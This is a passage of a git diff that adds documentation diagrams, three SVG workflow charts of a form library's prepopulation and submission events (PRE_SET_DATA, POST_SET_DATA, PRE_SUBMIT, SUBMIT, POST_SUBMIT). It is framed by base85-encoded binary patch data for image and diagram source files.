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

diff --git a/_images/form/form_prepopulation_workflow.svg b/_images/form/form_prepopulation_workflow.svg
new file mode 100644
index 00000000000..c44fa6b19e7
--- /dev/null
+++ b/_images/form/form_prepopulation_workflow.svg
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/PR-SVG-20010719/DTD/svg10.dtd">
+<svg width="48cm" height="9cm" viewBox="918 1177 943 167" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="prepopulation">
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="920" y="1280" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1000" y="1319.84">
+        <tspan x="1000" y="1319.84">New form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1700" y="1280" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1780" y="1319.84">
+        <tspan x="1780" y="1319.84">Prepopulated form</tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="1080" y1="1311.85" x2="1689" y2="1311.85"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1689,1316.85 1699,1311.85 1689,1306.85 "/>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1106.67 1180 L 1213.33,1180 C 1228.06,1180 1240,1190.5 1240,1203.45 C 1240,1216.4 1228.06,1226.9 1213.33,1226.9 L 1106.67,1226.9 C 1091.94,1226.9 1080,1216.4 1080,1203.45 C 1080,1190.5 1091.94,1180 1106.67,1180z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1160" y="1211.43">
+        <tspan x="1160" y="1211.43">Model data</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1480" y="1280" width="140" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1550" y="1319.84">
+        <tspan x="1550" y="1319.84">POST_SET_DATA</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1200" y="1280" width="145.381" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1272.69" y="1319.84">
+        <tspan x="1272.69" y="1319.84">PRE_SET_DATA</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1088.7" y="1314.61" width="102.6" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1140" y="1333">
+        <tspan xml:space="preserve" x="1140" y="1333">  setData($data) </tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1160" y1="1226.9" x2="1160" y2="1300.85"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1155,1300.85 1160,1310.85 1165,1300.85 "/>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1366.97" y="1285.47" width="86.05" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1410" y="1303.85">
+        <tspan x="1410" y="1303.85">normalization</tspan>
+      </text>
+    </g>
+  </g>
+</svg>
diff --git a/_images/form/form_submission_workflow.svg b/_images/form/form_submission_workflow.svg
new file mode 100644
index 00000000000..e9ffc4043f7
--- /dev/null
+++ b/_images/form/form_submission_workflow.svg
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/PR-SVG-20010719/DTD/svg10.dtd">
+<svg width="27cm" height="29cm" viewBox="977 1538 524 566" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="submission">
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1300" y="1901.61" width="109" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1920">
+        <tspan xml:space="preserve" x="1300" y="1920">  denormalization</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1300" y="1781.61" width="93.75" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1800">
+        <tspan xml:space="preserve" x="1300" y="1800">  normalization</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1100" y="1540" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1180" y="1579.84">
+        <tspan x="1180" y="1579.84">New form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1340" y="1540" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1420" y="1579.84">
+        <tspan x="1420" y="1579.84">Prepopulated form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1220" y="2040" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="2079.84">
+        <tspan x="1300" y="2079.84">Submitted form</tspan>
+      </text>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1180,1603.71 1180,1640 1300,1640 1300,2028 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1295,2028 1300,2038 1305,2028 "/>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1420,1603.71 1420,1640 1300,1640 1300,2029 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1295,2029 1300,2039 1305,2029 "/>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1004.16 1645 L 1100.81,1645 C 1114.16,1645 1124.98,1655.5 1124.98,1668.45 C 1124.98,1681.4 1114.16,1691.9 1100.81,1691.9 L 1004.16,1691.9 C 990.818,1691.9 980,1681.4 980,1668.45 C 980,1655.5 990.818,1645 1004.16,1645z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1052.49" y="1676.43">
+        <tspan x="1052.49" y="1676.43">Request data</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1220" y="1613.61" width="158.75" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1220" y="1632">
+        <tspan x="1220" y="1632">handleRequest($request) </tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1124.98" y1="1668.45" x2="1286" y2="1669.67"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1285.96,1674.67 1296,1669.74 1286.04,1664.67 "/>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1700" width="120" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1739.84">
+        <tspan x="1300" y="1739.84">PRE_SUBMIT</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1820" width="120" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1859.84">
+        <tspan x="1300" y="1859.84">SUBMIT</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1940" width="120" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1979.84">
+        <tspan x="1300" y="1979.84">POST_SUBMIT</tspan>
+      </text>
+    </g>
+  </g>
+</svg>
diff --git a/_images/form/form_workflow.svg b/_images/form/form_workflow.svg
new file mode 100644
index 00000000000..432a7c51e47
--- /dev/null
+++ b/_images/form/form_workflow.svg
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/PR-SVG-20010719/DTD/svg10.dtd">
+<svg width="27cm" height="21cm" viewBox="1357 517 524 407" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="global workflow">
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1480" y="620" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1560" y="659.838">
+        <tspan x="1560" y="659.838">New form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1720" y="620" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1800" y="659.838">
+        <tspan x="1800" y="659.838">Prepopulated form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1600" y="860" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="899.838">
+        <tspan x="1680" y="899.838">Submitted form</tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="1640" y1="651.853" x2="1709" y2="651.853"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1709,656.853 1719,651.853 1709,646.853 "/>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1560,683.706 1560,740 1680,740 1680,847.996 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,847.996 1680,857.996 1685,847.996 "/>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1800,683.706 1800,740 1680,740 1680,849 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,849 1680,859 1685,849 "/>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1626.67 520 L 1733.33,520 C 1748.06,520 1760,530.499 1760,543.449 C 1760,556.4 1748.06,566.898 1733.33,566.898 L 1626.67,566.898 C 1611.94,566.898 1600,556.4 1600,543.449 C 1600,530.499 1611.94,520 1626.67,520z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="551.435">
+        <tspan x="1680" y="551.435">Model data</tspan>
+      </text>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1384.16 780 L 1480.81,780 C 1494.16,780 1504.98,790.499 1504.98,803.449 C 1504.98,816.4 1494.16,826.898 1480.81,826.898 L 1384.16,826.898 C 1370.82,826.898 1360,816.4 1360,803.449 C 1360,790.499 1370.82,780 1384.16,780z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1432.49" y="811.435">
+        <tspan x="1432.49" y="811.435">Request data</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1680" y="581.613" width="102.6" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="600">
+        <tspan xml:space="preserve" x="1680" y="600">  setData($data) </tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1510" y="776.613" width="158.75" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1510" y="795">
+        <tspan x="1510" y="795">handleRequest($request) </tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1504.98" y1="803.449" x2="1666" y2="804.667"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1665.96,809.667 1676,804.742 1666.04,799.667 "/>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1680" y1="566.898" x2="1680" y2="640.853"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,640.853 1680,650.853 1685,640.853 "/>
+    </g>
+  </g>
+</svg>
diff --git a/_images/sources/form/form_events.dia b/_images/sources/form/form_events.dia
new file mode 100644
index 0000000000000000000000000000000000000000..8e7afb1cb83b5ca8f2c4bb8c52c46641ac75d5ae
GIT binary patch
literal 3179
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
